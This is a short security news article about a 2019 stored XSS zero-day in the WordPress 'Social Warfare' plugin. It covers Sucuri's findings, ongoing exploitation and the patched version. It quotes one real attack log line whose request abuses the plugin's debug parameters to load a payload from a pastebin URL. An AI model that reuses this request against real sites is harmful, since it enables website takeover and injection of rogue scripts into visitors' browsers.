Zero-day Stored XSS Vulnerability in WordPress Social Share Plug-in let Hackers to Compromise 70,000 Websites

Researchers discovered a critical Stored XSS Zero-day flaw in widely used social sharing plug-in called “Social Warfare” let attackers inject the malicious script and take over the vulnerable WordPress websites.

Social Warfare, a social sharing plugin for WordPress powered by Warfare Plugins that help to get more social shares for WordPress based website developers which can lead to more website traffic.

The plug-in contains a vulnerable code within some of the plugins debugging features that allows the payload gets stored in the site’s database and retrieved with every page request.

According to Sucuri research, “These features aren’t directly used anywhere and rely on various $_GET parameters to be executed, which makes it easy to see if your site was attacked using this vulnerability. “

This serious zero-day vulnerability allows attackers to completely take over the vulnerable website in the browser environment.

Attackers Already made an Exploits

Cyber Criminals already started abusing this vulnerability and a lot of exploits were distributed around the world.

There are very frequent attempts are ongoing from more than a hundred different IPs as you can see below,

202.254.236.49 - - [21/Mar/2019:16:52:14 -0400] "GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://pastebin.com/raw/0yJzqbYf HTTP/1.1" 403 2669 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"

In this case attackers are injecting rogue javascript scripts by loading the following url , which contains this malicious payload.

If left unpatched, Attackers takes more advantage to mount successful, widespread attacks against vulnerable websites. 

There are 70, 000 websites are actively installed this plugin and the patch has been released and users are advised to update to version 3.5.3 as soon as possible.

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